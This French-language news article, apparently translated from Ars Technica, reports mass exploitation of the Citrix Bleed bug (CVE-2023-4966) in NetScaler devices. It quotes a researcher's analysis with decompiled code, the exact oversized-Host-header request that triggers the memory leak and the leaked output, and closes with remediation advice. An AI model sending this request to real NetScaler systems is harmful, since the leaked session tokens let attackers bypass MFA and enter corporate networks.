«Cette vulnérabilité est désormais exploitée massivement.» Le bug Citrix Bleed mord fort

Une vulnérabilité qui permet aux attaquants de contourner l’authentification multifacteur et d’accéder aux réseaux d’entreprise à l’aide du matériel vendu par Citrix est exploitée en masse par des pirates ransomware malgré la disponibilité d’un correctif depuis trois semaines.

Citrix Bleed, le nom commun de la vulnérabilité, porte un indice de gravité de 9,4 sur 10 possibles, une désignation relativement élevée pour un simple bug de divulgation d’informations. La raison : les informations divulguées peuvent inclure des jetons de session, que le matériel attribue aux appareils qui ont déjà fourni avec succès des informations d’identification, y compris ceux fournissant la MFA. La vulnérabilité, identifiée comme CVE-2023-4966 et résidant dans NetScaler Application Delivery Controller et NetScaler Gateway de Citrix, est activement exploitée depuis août. Citrix a publié un correctif le 10 octobre.

Je répète : ce n’est pas un exercice

Les attaques ne se sont intensifiées que récemment, incitant le chercheur en sécurité Kevin Beaumont à déclarer samedi : « Cette vulnérabilité est désormais exploitée à grande échelle ». Il a poursuivi en disant : « En discutant avec plusieurs organisations, ils constatent une exploitation généralisée. »

Il a déclaré que samedi, il avait trouvé environ 20 000 cas d’appareils Citrix exploités sur lesquels des jetons de session avaient été volés. Il a déclaré que son estimation était basée sur l’exploitation d’un pot de serveurs se faisant passer pour des appareils Netscaler vulnérables afin de suivre les attaques opportunistes sur Internet. Beaumont a ensuite comparé ces résultats avec d’autres données, dont certaines fournies par Netflow et le moteur de recherche Shodan.

Pendant ce temps, GreyNoise, une société de sécurité qui déploie également des pots de miel, montrait des exploits pour CVE-2023-4966 provenant de 135 adresses IP lorsque ce message a été publié sur Ars. Cela représente une multiplication par 27 par rapport aux cinq IP repérées par GreyNoise il y a cinq jours.

Les chiffres les plus récents disponibles auprès de l’organisation de sécurité Shadowserver montrent qu’il y avait environ 5 500 appareils non corrigés. Beaumont a reconnu que cette estimation était en contradiction avec son estimation de 20 000 appareils compromis. On ne sait pas immédiatement ce qui cause cet écart.

La vulnérabilité est relativement facile à exploiter pour les personnes expérimentées. Une simple rétro-ingénierie du patch publié par Citrix montre les fonctions vulnérables, et à partir de là, il n’est pas difficile d’écrire du code qui les exploite. Pour rendre les attaques encore plus faciles, une poignée d’exploits de preuve de concept sont disponibles en ligne.

Dans une analyse technique détaillée, les chercheurs d’Assetnote ont écrit :

Nous avons trouvé deux fonctions qui se démarquent ns_aaa_oauth_send_openid_config et ns_aaa_oauthrp_send_openid_config. Les deux fonctions effectuent une opération similaire, elles implémentent le point de terminaison OpenID Connect Discovery. Les fonctions sont toutes deux accessibles sans authentification via le /oauth/idp/.well-known/openid-configuration et /oauth/rp/.well-known/openid-configuration points finaux respectivement.

Les deux fonctions incluaient également le même patch, une vérification des limites supplémentaire avant d’envoyer la réponse. Cela peut être vu dans les extraits ci-dessous montrant l’avant et l’après de ns_aaa_oauth_send_openid_config.

Original

iVar3 = snprintf(print_temp_rule,0x20000,
           	""issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]"
           	,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

Patché

uVar7 = snprintf(print_temp_rule,0x20000,
           	""issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]"
           	,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) 
	authv2_json_resp = 1;
	iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
	...

La fonction est assez simple, elle génère une charge utile JSON pour la configuration OpenID et utilise snprintf pour insérer le nom d’hôte du périphérique aux emplacements appropriés dans la charge utile. Dans la version originale, la réponse est envoyée immédiatement. Dans la version corrigée, la réponse n’est envoyée que si snprintf renvoie une valeur inférieure à 0x20000.

La vulnérabilité se produit parce que la valeur de retour de snprintf est utilisé pour déterminer combien d’octets sont envoyés au client par ns_vpn_send_response. C’est un problème parce que snprintf ne renvoie pas combien d’octets il a fait écrire dans le tampon, snprintf renvoie combien d’octets il aurait écrit dans le tampon si celui-ci était suffisamment grand.

Pour exploiter cela, tout ce que nous avions à faire était de trouver comment faire en sorte que la réponse dépasse la taille du tampon de 0x20000 octets. L’application répondrait alors avec le tampon complètement rempli, plus la mémoire qui suivait immédiatement le print_temp_rule tampon.

‍Exploiter le point de terminaison

Au départ, nous pensions que le point final ne serait probablement pas exploitable. Les seules données insérées étaient le nom d’hôte, ce qui nécessitait un accès administrateur pour être configuré. Heureusement pour nous, nous nous sommes trompés et la valeur insérée dans la charge utile ne provenait pas du nom d’hôte configuré. En fait, cela vient du HTTP Host entête.

Nous avons également eu la chance que NetScaler insère le nom d’hôte dans la charge utile six fois, car cela signifiait que nous pouvions atteindre la limite de tampon de 0x20000 octets sans rencontrer de problèmes car soit le Host l’en-tête ou la requête entière était trop longue.

Nous avons rassemblé la requête suivante et l’avons envoyée à notre instance NetScaler.

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close

Nous avons reçu la réponse ci-dessous avec les caractères non imprimables supprimés.

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web

{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/

"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí

Nous pouvions clairement voir beaucoup de fuite de mémoire immédiatement après la charge utile JSON. Même s’il s’agissait en grande partie d’octets nuls, la réponse contenait des informations suspectes.

Le nom Citrix Bleed est une allusion à Heartbleed, une autre vulnérabilité critique de divulgation d’informations qui a bouleversé Internet en 2014. Cette vulnérabilité, qui résidait dans la bibliothèque de codes OpenSSL, a été exploitée en masse et a permis le vol de mots de passe, de clés de chiffrement. , les informations d’identification bancaires et toutes sortes d’autres informations sensibles. Citrix Bleed n’est pas aussi désastreux car il y a moins de périphériques vulnérables utilisés.

Mais Citrix Bleed est toujours très mauvais. Les organisations doivent considérer que tous les appareils Netscaler ont été compromis. Cela signifie corriger tous les appareils restants non corrigés. Ensuite, toutes les informations d’identification doivent être alternées pour garantir que tous les jetons de session qui auraient pu être divulgués soient invalidés. Enfin, les organisations doivent inspecter leurs appareils et leur infrastructure à la recherche de signes de compromission. La société de sécurité Mandiant propose ici des conseils de sécurité approfondis.